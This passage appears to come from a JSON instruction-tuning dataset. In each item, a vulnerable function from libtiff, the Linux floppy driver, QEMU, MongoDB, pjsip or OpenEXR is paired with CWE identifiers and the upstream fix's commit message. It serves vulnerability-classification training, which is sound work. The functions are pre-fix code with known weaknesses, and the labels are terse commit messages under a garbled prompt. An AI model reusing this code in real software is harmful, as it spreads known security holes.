unsigned integer type, that is why\n * we should rearrange it here.\n */\n#if HOST_BIGENDIAN\n TIFFSwabArrayOfLong(raster, width * height);\n#endif\n\n /*\n * Do we want to strip away alpha components?\n */\n if (no_alpha)\n {\n size_t count = pixel_count;\n unsigned char *src, *dst;\n\n\tsrc = dst = (unsigned char *) raster;\n while (count > 0)\n {\n\t *(dst++) = *(src++);\n\t *(dst++) = *(src++);\n\t *(dst++) = *(src++);\n\t src++;\n\t count--;\n }\n }\n\n /*\n * Write out the result in strips\n */\n for (row = 0; row < height; row += rowsperstrip)\n {\n unsigned char * raster_strip;\n int\trows_to_write;\n int\tbytes_per_pixel;\n\n if (no_alpha)\n {\n raster_strip = ((unsigned char *) raster) + 3 * row * width;\n bytes_per_pixel = 3;\n }\n else\n {\n raster_strip = (unsigned char *) (raster + row * width);\n bytes_per_pixel = 4;\n }\n\n if( row + rowsperstrip > height )\n rows_to_write = height - row;\n else\n rows_to_write = rowsperstrip;\n\n if( TIFFWriteEncodedStrip( out, row / rowsperstrip, raster_strip,\n bytes_per_pixel * rows_to_write * width ) == -1 )\n {\n _TIFFfree( raster );\n return 0;\n }\n }\n\n _TIFFfree( raster );\n\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'enforce (configurable) memory limit in tiff2rgba\n\nfixes #207\nfixes #209'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int do_format(int drive, struct format_descr *tmp_format_req)\n{\n\tint ret;\n\n\tif (lock_fdc(drive, true))\n\t\treturn -EINTR;\n\n\tset_floppy(drive);\n\tif (!_floppy ||\n\t _floppy->track > DP->tracks ||\n\t tmp_format_req->track >= _floppy->track ||\n\t tmp_format_req->head >= _floppy->head ||\n\t (_floppy->sect << 2) % (1 << FD_SIZECODE(_floppy)) ||\n\t !_floppy->fmt_gap) {\n\t\tprocess_fd_request();\n\t\treturn -EINVAL;\n\t}\n\tformat_req = *tmp_format_req;\n\tformat_errors = 0;\n\tcont = &format_cont;\n\terrors = &format_errors;\n\tret = wait_til_done(redo_format, true);\n\tif (ret == -EINTR)\n\t\treturn -EINTR;\n\tprocess_fd_request();\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'floppy: fix lock_fdc() signal handling\n\nfloppy_revalidate() doesn't perform any error handling on lock_fdc()\nresult. lock_fdc() might actually be interrupted by a signal (it waits for\nfdc becoming non-busy interruptibly). In such case, floppy_revalidate()\nproceeds as if it had claimed the lock, but it fact it doesn't.\n\nIn case of multiple threads trying to open(\"/dev/fdX\"), this leads to\nserious corruptions all over the place, because all of a sudden there is\nno critical section protection (that'd otherwise be guaranteed by locked\nfd) whatsoever.\n\nWhile at this, fix the fact that the 'interruptible' parameter to\nlock_fdc() doesn't make any sense whatsoever, because we always wait\ninterruptibly anyway.\n\nMost of the lock_fdc() callsites do properly handle error (and propagate\nEINTR), but floppy_revalidate() and floppy_check_events() don't. Fix this.\n\nSpotted by 'syzkaller' tool.\n\nReported-by: Dmitry Vyukov \nTested-by: Dmitry Vyukov \nSigned-off-by: Jiri Kosina '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void msf2_dma_tx(MSF2EmacState *s)\n{\n NetClientState *nc = qemu_get_queue(s->nic);\n hwaddr desc = s->regs[R_DMA_TX_DESC];\n uint8_t buf[MAX_PKT_SIZE];\n EmacDesc d;\n int size;\n uint8_t pktcnt;\n uint32_t status;\n\n if (!(s->regs[R_CFG1] & R_CFG1_TX_EN_MASK)) {\n return;\n }\n\n while (1) {\n emac_load_desc(s, &d, desc);\n if (d.pktsize & EMPTY_MASK) {\n break;\n }\n size = d.pktsize & PKT_SIZE;\n address_space_read(&s->dma_as, d.pktaddr, MEMTXATTRS_UNSPECIFIED,\n buf, size);\n /*\n * This is very basic way to send packets. Ideally there should be\n * a FIFO and packets should be sent out from FIFO only when\n * R_CFG1 bit 0 is set.\n */\n if (s->regs[R_CFG1] & R_CFG1_LB_EN_MASK) {\n nc->info->receive(nc, buf, size);\n } else {\n qemu_send_packet(nc, buf, size);\n }\n d.pktsize |= EMPTY_MASK;\n emac_store_desc(s, &d, desc);\n /* update sent packets count */\n status = s->regs[R_DMA_TX_STATUS];\n pktcnt = FIELD_EX32(status, DMA_TX_STATUS, PKTCNT);\n pktcnt++;\n s->regs[R_DMA_TX_STATUS] = FIELD_DP32(status, DMA_TX_STATUS,\n PKTCNT, pktcnt);\n s->regs[R_DMA_TX_STATUS] |= R_DMA_TX_STATUS_PKT_SENT_MASK;\n desc = d.next;\n }\n s->regs[R_DMA_TX_STATUS] |= R_DMA_TX_STATUS_UNDERRUN_MASK;\n s->regs[R_DMA_TX_CTL] &= ~R_DMA_TX_CTL_EN_MASK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'msf2-mac: switch to use qemu_receive_packet() for loopback\n\nThis patch switches to use qemu_receive_packet() which can detect\nreentrancy and return early.\n\nThis is intended to address CVE-2021-3416.\n\nCc: Prasad J Pandit \nCc: qemu-stable@nongnu.org\nReviewed-by: Philippe Mathieu-Daud\u00e9 \nSigned-off-by: Jason Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Status explain(OperationContext* opCtx,\n const OpMsgRequest& request,\n ExplainOptions::Verbosity verbosity,\n BSONObjBuilder* out) const override {\n std::string dbname = request.getDatabase().toString();\n const BSONObj& cmdObj = request.body;\n // Acquire locks and resolve possible UUID. The RAII object is optional, because in the case\n // of a view, the locks need to be released.\n boost::optional ctx;\n ctx.emplace(opCtx,\n CommandHelpers::parseNsOrUUID(dbname, cmdObj),\n AutoGetCollection::ViewMode::kViewsPermitted);\n const auto nss = ctx->getNss();\n\n const ExtensionsCallbackReal extensionsCallback(opCtx, &nss);\n auto parsedDistinct =\n uassertStatusOK(ParsedDistinct::parse(opCtx, nss, cmdObj, extensionsCallback, true));\n\n if (ctx->getView()) {\n // Relinquish locks. The aggregation command will re-acquire them.\n ctx.reset();\n\n auto viewAggregation = parsedDistinct.asAggregationCommand();\n if (!viewAggregation.isOK()) {\n return viewAggregation.getStatus();\n }\n\n auto viewAggRequest =\n AggregationRequest::parseFromBSON(nss, viewAggregation.getValue(), verbosity);\n if (!viewAggRequest.isOK()) {\n return viewAggRequest.getStatus();\n }\n\n return runAggregate(\n opCtx, nss, viewAggRequest.getValue(), viewAggregation.getValue(), *out);\n }\n\n Collection* const collection = ctx->getCollection();\n\n auto executor =\n uassertStatusOK(getExecutorDistinct(opCtx, collection, nss.ns(), &parsedDistinct));\n\n Explain::explainStages(executor.get(), collection, verbosity, out);\n return Status::OK();\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'SERVER-38275 ban explain with UUID'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PJ_DEF(pj_status_t) pjsip_tpmgr_acquire_transport2(pjsip_tpmgr *mgr,\n\t\t\t\t\t\t pjsip_transport_type_e type,\n\t\t\t\t\t\t const pj_sockaddr_t *remote,\n\t\t\t\t\t\t int addr_len,\n\t\t\t\t\t\t const pjsip_tpselector *sel,\n\t\t\t\t\t\t pjsip_tx_data *tdata,\n\t\t\t\t\t\t pjsip_transport **tp)\n{\n pjsip_tpfactory *factory;\n pj_status_t status;\n\n TRACE_((THIS_FILE,\"Acquiring transport type=%s, sel=%s remote=%s:%d\",\n\t\t pjsip_transport_get_type_name(type),\n\t\t print_tpsel_info(sel),\n\t\t addr_string(remote),\n\t\t pj_sockaddr_get_port(remote)));\n\n pj_lock_acquire(mgr->lock);\n\n /* If transport is specified, then just use it if it is suitable\n * for the destination.\n */\n if (sel && sel->type == PJSIP_TPSELECTOR_TRANSPORT &&\n\tsel->u.transport) \n {\n\tpjsip_transport *seltp = sel->u.transport;\n\n\t/* See if the transport is (not) suitable */\n\tif (seltp->key.type != type) {\n\t pj_lock_release(mgr->lock);\n\t TRACE_((THIS_FILE, \"Transport type in tpsel not matched\"));\n\t return PJSIP_ETPNOTSUITABLE;\n\t}\n\n\t/* Make sure the transport is not being destroyed */\n\tif (seltp->is_destroying) {\n\t pj_lock_release(mgr->lock);\n\t TRACE_((THIS_FILE,\"Transport to be acquired is being destroyed\"));\n\t return PJ_ENOTFOUND;\n\t}\n\n\t/* We could also verify that the destination address is reachable\n\t * from this transport (i.e. both are equal), but if application\n\t * has requested a specific transport to be used, assume that\n\t * it knows what to do.\n\t *\n\t * In other words, I don't think destination verification is a good\n\t * idea for now.\n\t */\n\n\t/* Transport looks to be suitable to use, so just use it. */\n\tpjsip_transport_add_ref(seltp);\n\tpj_lock_release(mgr->lock);\n\t*tp = seltp;\n\n\tTRACE_((THIS_FILE, \"Transport %s acquired\", seltp->obj_name));\n\treturn PJ_SUCCESS;\n\n } else {\n\n\t/*\n\t * This is the \"normal\" flow, where application doesn't specify\n\t * specific transport to be used to send message to.\n\t * In this case, lookup the transport from the hash table.\n\t */\n\tpjsip_transport_key key;\n\tint key_len;\n\tpjsip_transport *tp_ref = NULL;\n\ttransport *tp_entry = NULL;\n\n\n\t/* If listener is specified, verify that the listener type matches\n\t * the destination type.\n\t */\n\tif (sel && sel->type == PJSIP_TPSELECTOR_LISTENER && sel->u.listener)\n\t{\n\t if (sel->u.listener->type != type) {\n\t\tpj_lock_release(mgr->lock);\n\t\tTRACE_((THIS_FILE, \"Listener type in tpsel not matched\"));\n\t\treturn PJSIP_ETPNOTSUITABLE;\n\t }\n\t}\n\n\tif (!sel || sel->disable_connection_reuse == PJ_FALSE) {\n\t pj_bzero(&key, sizeof(key));\n\t key_len = sizeof(key.type) + addr_len;\n\n\t /* First try to get exact destination. */\n\t key.type = type;\n\t pj_memcpy(&key.rem_addr, remote, addr_len);\n\n\t tp_entry = (transport *)pj_hash_get(mgr->table, &key, key_len,\n\t\t\t\t\t\tNULL);\n\t if (tp_entry) {\n\t\ttransport *tp_iter = tp_entry;\n\t\tdo {\n\t\t /* Don't use transport being shutdown/destroyed */\n\t\t if (!tp_iter->tp->is_shutdown &&\n\t\t\t!tp_iter->tp->is_destroying)\n\t\t {\n\t\t\tif (sel && sel->type == PJSIP_TPSELECTOR_LISTENER &&\n\t\t\t sel->u.listener)\n\t\t\t{\n\t\t\t /* Match listener if selector is set */\n\t\t\t if (tp_iter->tp->factory == sel->u.listener) {\n\t\t\t\ttp_ref = tp_iter->tp;\n\t\t\t\tbreak;\n\t\t\t }\n\t\t\t} else {\n\t\t\t tp_ref = tp_iter->tp;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t tp_iter = tp_iter->next;\n\t\t} while (tp_iter != tp_entry);\n\t }\n\t}\n\n\tif (tp_ref == NULL &&\n\t (!sel || sel->disable_connection_reuse == PJ_FALSE))\n\t{\n\t unsigned flag = pjsip_transport_get_flag_from_type(type);\n\t const pj_sockaddr *remote_addr = (const pj_sockaddr*)remote;\n\n\n\t /* Ignore address for loop transports. */\n\t if (type == PJSIP_TRANSPORT_LOOP ||\n\t\ttype == PJSIP_TRANSPORT_LOOP_DGRAM)\n\t {\n\t\tpj_sockaddr *addr = &key.rem_addr;\n\n\t\tpj_bzero(addr, addr_len);\n\t\tkey_len = sizeof(key.type) + addr_len;\n\t\ttp_entry = (transport *) pj_hash_get(mgr->table, &key,\n\t\t\t\t\t\t key_len, NULL);\n\t\tif (tp_entry) {\n\t\t tp_ref = tp_entry->tp;\n\t\t}\n\t }\n\t /* For datagram transports, try lookup with zero address.\n\t */\n\t else if (flag & PJSIP_TRANSPORT_DATAGRAM)\n\t {\n\t\tpj_sockaddr *addr = &key.rem_addr;\n\n\t\tpj_bzero(addr, addr_len);\n\t\taddr->addr.sa_family = remote_addr->addr.sa_family;\n\n\t\tkey_len = sizeof(key.type) + addr_len;\n\t\ttp_entry = (transport *) pj_hash_get(mgr->table, &key,\n\t\t\t\t\t\t key_len, NULL);\n\t\tif (tp_entry) {\n\t\t tp_ref = tp_entry->tp;\n\t\t}\n\t }\n\t}\n\n\t/* If transport is found and listener is specified, verify listener */\n\telse if (sel && sel->type == PJSIP_TPSELECTOR_LISTENER &&\n\t\t sel->u.listener && tp_ref->factory != sel->u.listener)\n\t{\n\t tp_ref = NULL;\n\t /* This will cause a new transport to be created which will be a\n\t * 'duplicate' of the existing transport (same type & remote addr,\n\t * but different factory).\n\t */\n\t TRACE_((THIS_FILE, \"Transport found but from different listener\"));\n\t}\n\n\tif (tp_ref!=NULL && !tp_ref->is_shutdown && !tp_ref->is_destroying) {\n\t /*\n\t * Transport found!\n\t */\n\t pjsip_transport_add_ref(tp_ref);\n\t pj_lock_release(mgr->lock);\n\t *tp = tp_ref;\n\n\t TRACE_((THIS_FILE, \"Transport %s acquired\", tp_ref->obj_name));\n\t return PJ_SUCCESS;\n\t}\n\n\n\t/*\n\t * Either transport not found, or we don't want to use the existing\n\t * transport (such as in the case of different factory or\n\t * if connection reuse is disabled). So we need to create one,\n\t * find factory that can create such transport.\n\t *\n\t * If there's an existing transport, its place in the hash table\n\t * will be replaced by this new one. And eventually the existing\n\t * transport will still be freed (by application or #1774).\n\t */\n\tif (sel && sel->type == PJSIP_TPSELECTOR_LISTENER && sel->u.listener)\n\t{\n\t /* Application has requested that a specific listener is to\n\t * be used.\n\t */\n\n\t /* Verify that the listener type matches the destination type */\n\t /* Already checked above. */\n\t /*\n\t if (sel->u.listener->type != type) {\n\t\tpj_lock_release(mgr->lock);\n\t\treturn PJSIP_ETPNOTSUITABLE;\n\t }\n\t */\n\n\t /* We'll use this listener to create transport */\n\t factory = sel->u.listener;\n\n\t /* Verify if listener is still valid */\n\t if (!pjsip_tpmgr_is_tpfactory_valid(mgr, factory)) {\n\t\tpj_lock_release(mgr->lock);\n\t\tPJ_LOG(3,(THIS_FILE, \"Specified factory for creating \"\n\t\t\t\t \"transport is not found\"));\n\t\treturn PJ_ENOTFOUND;\n\t }\n\n\t} else {\n\n\t /* Find factory with type matches the destination type */\n\t factory = mgr->factory_list.next;\n\t while (factory != &mgr->factory_list) {\n\t\tif (factory->type == type)\n\t\t break;\n\t\tfactory = factory->next;\n\t }\n\n\t if (factory == &mgr->factory_list) {\n\t\t/* No factory can create the transport! */\n\t\tpj_lock_release(mgr->lock);\n\t\tTRACE_((THIS_FILE, \"No suitable factory was found either\"));\n\t\treturn PJSIP_EUNSUPTRANSPORT;\n\t }\n\t}\n }\n\n TRACE_((THIS_FILE, \"Creating new transport from factory\"));\n\n /* Request factory to create transport. */\n if (factory->create_transport2) {\n\tstatus = factory->create_transport2(factory, mgr, mgr->endpt,\n\t\t\t\t\t (const pj_sockaddr*) remote,\n\t\t\t\t\t addr_len, tdata, tp);\n } else {\n\tstatus = factory->create_transport(factory, mgr, mgr->endpt,\n\t\t\t\t\t (const pj_sockaddr*) remote,\n\t\t\t\t\t addr_len, tp);\n }\n if (status == PJ_SUCCESS) {\n\tPJ_ASSERT_ON_FAIL(tp!=NULL,\n\t {pj_lock_release(mgr->lock); return PJ_EBUG;});\n\tpjsip_transport_add_ref(*tp);\n\t(*tp)->factory = factory;\n }\n pj_lock_release(mgr->lock);\n return status;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-297', 'CWE-295'], 'message': 'Merge pull request from GHSA-8hcp-hm38-mfph\n\n* Check hostname during TLS transport selection\n\n* revision based on feedback\n\n* remove the code in create_request that has been moved'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: DwaCompressor::uncompress\n (const char *inPtr,\n int inSize,\n IMATH_NAMESPACE::Box2i range,\n const char *&outPtr)\n{\n int minX = range.min.x;\n int maxX = std::min (range.max.x, _max[0]);\n int minY = range.min.y;\n int maxY = std::min (range.max.y, _max[1]);\n\n Int64 iSize = static_cast( inSize );\n Int64 headerSize = NUM_SIZES_SINGLE*sizeof(Int64);\n if (iSize < headerSize) \n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(truncated header).\");\n }\n\n // \n // Flip the counters from XDR to NATIVE\n //\n\n for (int i = 0; i < NUM_SIZES_SINGLE; ++i)\n {\n Int64 *dst = (((Int64 *)inPtr) + i);\n const char *src = (char *)(((Int64 *)inPtr) + i);\n\n Xdr::read (src, *dst);\n }\n\n //\n // Unwind all the counter info\n //\n\n const Int64 *inPtr64 = (const Int64*) inPtr;\n\n Int64 version = *(inPtr64 + VERSION);\n Int64 unknownUncompressedSize = *(inPtr64 + UNKNOWN_UNCOMPRESSED_SIZE);\n Int64 unknownCompressedSize = *(inPtr64 + UNKNOWN_COMPRESSED_SIZE);\n Int64 acCompressedSize = *(inPtr64 + AC_COMPRESSED_SIZE);\n Int64 dcCompressedSize = *(inPtr64 + DC_COMPRESSED_SIZE);\n Int64 rleCompressedSize = *(inPtr64 + RLE_COMPRESSED_SIZE);\n Int64 rleUncompressedSize = *(inPtr64 + RLE_UNCOMPRESSED_SIZE);\n Int64 rleRawSize = *(inPtr64 + RLE_RAW_SIZE);\n \n Int64 totalAcUncompressedCount = *(inPtr64 + AC_UNCOMPRESSED_COUNT); \n Int64 totalDcUncompressedCount = *(inPtr64 + DC_UNCOMPRESSED_COUNT); \n\n Int64 acCompression = *(inPtr64 + AC_COMPRESSION); \n\n Int64 compressedSize = unknownCompressedSize + \n acCompressedSize +\n dcCompressedSize +\n rleCompressedSize;\n\n const char *dataPtr = inPtr + NUM_SIZES_SINGLE * sizeof(Int64);\n\n /* Both the sum and individual sizes are checked in case of overflow. */\n if (iSize < (headerSize + compressedSize) ||\n iSize < unknownCompressedSize ||\n iSize < acCompressedSize ||\n iSize < dcCompressedSize ||\n iSize < rleCompressedSize)\n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(truncated file).\");\n }\n\n if ((SInt64)unknownUncompressedSize < 0 ||\n (SInt64)unknownCompressedSize < 0 ||\n (SInt64)acCompressedSize < 0 ||\n (SInt64)dcCompressedSize < 0 ||\n (SInt64)rleCompressedSize < 0 ||\n (SInt64)rleUncompressedSize < 0 ||\n (SInt64)rleRawSize < 0 ||\n (SInt64)totalAcUncompressedCount < 0 ||\n (SInt64)totalDcUncompressedCount < 0)\n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \" (corrupt header).\");\n }\n\n if (version < 2) \n initializeLegacyChannelRules();\n else\n {\n unsigned short ruleSize = 0;\n Xdr::read(dataPtr, ruleSize);\n\n if (ruleSize < Xdr::size() ) \n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \" (corrupt header file).\");\n\n headerSize += ruleSize;\n if (iSize < headerSize + compressedSize)\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \" (truncated file).\");\n\n _channelRules.clear();\n ruleSize -= Xdr::size ();\n while (ruleSize > 0) \n {\n Classifier rule(dataPtr, ruleSize);\n \n _channelRules.push_back(rule);\n ruleSize -= rule.size();\n }\n }\n\n\n size_t outBufferSize = 0;\n initializeBuffers(outBufferSize);\n\n //\n // Allocate _outBuffer, if we haven't done so already\n //\n\n if (static_cast(_maxScanLineSize * numScanLines()) > _outBufferSize) \n {\n _outBufferSize = static_cast(_maxScanLineSize * numScanLines());\n if (_outBuffer != 0)\n delete[] _outBuffer;\n _outBuffer = new char[_maxScanLineSize * numScanLines()];\n }\n\n\n char *outBufferEnd = _outBuffer;\n\n \n //\n // Find the start of the RLE packed AC components and\n // the DC components for each channel. This will be handy \n // if you want to decode the channels in parallel later on.\n //\n\n char *packedAcBufferEnd = 0; \n\n if (_packedAcBuffer)\n packedAcBufferEnd = _packedAcBuffer;\n\n char *packedDcBufferEnd = 0;\n\n if (_packedDcBuffer)\n packedDcBufferEnd = _packedDcBuffer;\n\n //\n // UNKNOWN data is packed first, followed by the \n // Huffman-compressed AC, then the DC values, \n // and then the zlib compressed RLE data.\n //\n \n const char *compressedUnknownBuf = dataPtr;\n\n const char *compressedAcBuf = compressedUnknownBuf + \n static_cast(unknownCompressedSize);\n const char *compressedDcBuf = compressedAcBuf +\n static_cast(acCompressedSize);\n const char *compressedRleBuf = compressedDcBuf + \n static_cast(dcCompressedSize);\n\n // \n // Sanity check that the version is something we expect. Right now, \n // we can decode version 0, 1, and 2. v1 adds 'end of block' symbols\n // to the AC RLE. v2 adds channel classification rules at the \n // start of the data block.\n //\n\n if (version > 2)\n throw IEX_NAMESPACE::InputExc (\"Invalid version of compressed data block\"); \n\n setupChannelData(minX, minY, maxX, maxY);\n\n // \n // Uncompress the UNKNOWN data into _planarUncBuffer[UNKNOWN]\n //\n\n if (unknownCompressedSize > 0)\n {\n if (unknownUncompressedSize > _planarUncBufferSize[UNKNOWN]) \n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(corrupt header).\");\n }\n\n uLongf outSize = (uLongf)unknownUncompressedSize;\n\n if (Z_OK != ::uncompress\n ((Bytef *)_planarUncBuffer[UNKNOWN],\n &outSize,\n (Bytef *)compressedUnknownBuf,\n (uLong)unknownCompressedSize))\n {\n throw IEX_NAMESPACE::BaseExc(\"Error uncompressing UNKNOWN data.\");\n }\n }\n\n // \n // Uncompress the AC data into _packedAcBuffer\n //\n\n if (acCompressedSize > 0)\n {\n if (totalAcUncompressedCount*sizeof(unsigned short) > _packedAcBufferSize)\n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(corrupt header).\");\n }\n\n //\n // Don't trust the user to get it right, look in the file.\n //\n\n switch (acCompression)\n {\n case STATIC_HUFFMAN:\n\n hufUncompress\n (compressedAcBuf, \n (int)acCompressedSize, \n (unsigned short *)_packedAcBuffer, \n (int)totalAcUncompressedCount); \n\n break;\n\n case DEFLATE:\n {\n uLongf destLen =\n (int)(totalAcUncompressedCount) * sizeof (unsigned short);\n\n if (Z_OK != ::uncompress\n ((Bytef *)_packedAcBuffer,\n &destLen,\n (Bytef *)compressedAcBuf,\n (uLong)acCompressedSize))\n {\n throw IEX_NAMESPACE::InputExc (\"Data decompression (zlib) failed.\");\n }\n\n if (totalAcUncompressedCount * sizeof (unsigned short) !=\n destLen)\n {\n throw IEX_NAMESPACE::InputExc (\"AC data corrupt.\"); \n }\n }\n break;\n\n default:\n\n throw IEX_NAMESPACE::NoImplExc (\"Unknown AC Compression\");\n break;\n }\n }\n\n //\n // Uncompress the DC data into _packedDcBuffer\n //\n\n if (dcCompressedSize > 0)\n {\n if (totalDcUncompressedCount*sizeof(unsigned short) > _packedDcBufferSize)\n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(corrupt header).\");\n }\n\n if (static_cast(_zip->uncompress\n (compressedDcBuf, (int)dcCompressedSize, _packedDcBuffer))\n != totalDcUncompressedCount * sizeof (unsigned short))\n {\n throw IEX_NAMESPACE::BaseExc(\"DC data corrupt.\");\n }\n }\n\n //\n // Uncompress the RLE data into _rleBuffer, then unRLE the results\n // into _planarUncBuffer[RLE]\n //\n\n if (rleRawSize > 0)\n {\n if (rleUncompressedSize > _rleBufferSize ||\n rleRawSize > _planarUncBufferSize[RLE])\n {\n throw IEX_NAMESPACE::InputExc(\"Error uncompressing DWA data\"\n \"(corrupt header).\");\n }\n \n uLongf dstLen = (uLongf)rleUncompressedSize;\n\n if (Z_OK != ::uncompress\n ((Bytef *)_rleBuffer,\n &dstLen,\n (Bytef *)compressedRleBuf,\n (uLong)rleCompressedSize))\n {\n throw IEX_NAMESPACE::BaseExc(\"Error uncompressing RLE data.\");\n }\n\n if (dstLen != rleUncompressedSize)\n throw IEX_NAMESPACE::BaseExc(\"RLE data corrupted\");\n\n if (static_cast(rleUncompress\n ((int)rleUncompressedSize, \n (int)rleRawSize,\n (signed char *)_rleBuffer,\n _planarUncBuffer[RLE])) != rleRawSize)\n { \n throw IEX_NAMESPACE::BaseExc(\"RLE data corrupted\");\n }\n }\n\n //\n // Determine the start of each row in the output buffer\n //\n\n std::vector decodedChannels (_channelData.size());\n std::vector< std::vector > rowPtrs (_channelData.size());\n\n for (unsigned int chan = 0; chan < _channelData.size(); ++chan)\n decodedChannels[chan] = false;\n\n outBufferEnd = _outBuffer;\n\n for (int y = minY; y <= maxY; ++y)\n {\n for (unsigned int chan = 0; chan < _channelData.size(); ++chan)\n {\n ChannelData *cd = &_channelData[chan];\n\n if (IMATH_NAMESPACE::modp (y, cd->ySampling) != 0)\n continue;\n\n rowPtrs[chan].push_back (outBufferEnd);\n outBufferEnd += cd->width * OPENEXR_IMF_NAMESPACE::pixelTypeSize (cd->type);\n }\n }\n\n //\n // Setup to decode each block of 3 channels that need to\n // be handled together\n //\n\n for (unsigned int csc = 0; csc < _cscSets.size(); ++csc)\n {\n int rChan = _cscSets[csc].idx[0]; \n int gChan = _cscSets[csc].idx[1]; \n int bChan = _cscSets[csc].idx[2]; \n\n\n LossyDctDecoderCsc decoder\n (rowPtrs[rChan],\n rowPtrs[gChan],\n rowPtrs[bChan],\n packedAcBufferEnd,\n packedDcBufferEnd,\n dwaCompressorToLinear,\n _channelData[rChan].width,\n _channelData[rChan].height,\n _channelData[rChan].type,\n _channelData[gChan].type,\n _channelData[bChan].type);\n\n decoder.execute();\n\n packedAcBufferEnd +=\n decoder.numAcValuesEncoded() * sizeof (unsigned short);\n\n packedDcBufferEnd +=\n decoder.numDcValuesEncoded() * sizeof (unsigned short);\n\n decodedChannels[rChan] = true;\n decodedChannels[gChan] = true;\n decodedChannels[bChan] = true;\n }\n\n //\n // Setup to handle the remaining channels by themselves\n //\n\n for (unsigned int chan = 0; chan < _channelData.size(); ++chan)\n {\n if (decodedChannels[chan])\n continue;\n\n ChannelData *cd = &_channelData[chan];\n int pixelSize = OPENEXR_IMF_NAMESPACE::pixelTypeSize (cd->type);\n\n switch (cd->compression)\n {\n case LOSSY_DCT:\n\n //\n // Setup a single-channel lossy DCT decoder pointing\n // at the output buffer\n //\n\n {\n const unsigned short *linearLut = 0;\n\n if (!cd->pLinear)\n linearLut = dwaCompressorToLinear;\n\n LossyDctDecoder decoder\n (rowPtrs[chan],\n packedAcBufferEnd,\n packedDcBufferEnd,\n linearLut,\n cd->width,\n cd->height,\n cd->type);\n\n decoder.execute(); \n\n packedAcBufferEnd += \n decoder.numAcValuesEncoded() * sizeof (unsigned short);\n\n packedDcBufferEnd += \n decoder.numDcValuesEncoded() * sizeof (unsigned short);\n }\n\n break;\n\n case RLE:\n\n //\n // For the RLE case, the data has been un-RLE'd into\n // planarUncRleEnd[], but is still split out by bytes.\n // We need to rearrange the bytes back into the correct\n // order in the output buffer;\n //\n\n {\n int row = 0;\n\n for (int y = minY; y <= maxY; ++y)\n {\n if (IMATH_NAMESPACE::modp (y, cd->ySampling) != 0)\n continue;\n\n char *dst = rowPtrs[chan][row];\n\n if (pixelSize == 2)\n {\n interleaveByte2 (dst, \n cd->planarUncRleEnd[0],\n cd->planarUncRleEnd[1],\n cd->width);\n \n cd->planarUncRleEnd[0] += cd->width;\n cd->planarUncRleEnd[1] += cd->width;\n }\n else\n {\n for (int x = 0; x < cd->width; ++x)\n {\n for (int byte = 0; byte < pixelSize; ++byte)\n {\n *dst++ = *cd->planarUncRleEnd[byte]++;\n }\n }\n }\n\n row++;\n }\n }\n\n break;\n\n case UNKNOWN:\n\n //\n // In the UNKNOWN case, data is already in planarUncBufferEnd\n // and just needs to copied over to the output buffer\n //\n\n {\n int row = 0;\n int dstScanlineSize = cd->width * OPENEXR_IMF_NAMESPACE::pixelTypeSize (cd->type);\n\n for (int y = minY; y <= maxY; ++y)\n {\n if (IMATH_NAMESPACE::modp (y, cd->ySampling) != 0)\n continue;\n\n //\n // sanity check for buffer data lying within range\n //\n if ((cd->planarUncBufferEnd + static_cast(dstScanlineSize)) > (_planarUncBuffer[UNKNOWN] + _planarUncBufferSize[UNKNOWN]) )\n {\n throw Iex::InputExc(\"DWA data corrupt\");\n }\n\n memcpy (rowPtrs[chan][row],\n cd->planarUncBufferEnd,\n dstScanlineSize);\n\n cd->planarUncBufferEnd += dstScanlineSize;\n row++;\n }\n }\n\n break;\n\n default:\n\n throw IEX_NAMESPACE::NoImplExc (\"Unhandled compression scheme case\");\n break;\n }\n\n decodedChannels[chan] = true;\n }\n\n //\n // Return a ptr to _outBuffer\n //\n\n outPtr = _outBuffer;\n return (int)(outBufferEnd - _outBuffer);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'double-check unpackedBuffer created in DWA uncompress\n\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: writeRead (const Array2D &pi1,\n const Array2D &ph1,\n const Array2D &pf1,\n const char fileName[],\n LineOrder lorder,\n int width,\n int height,\n int 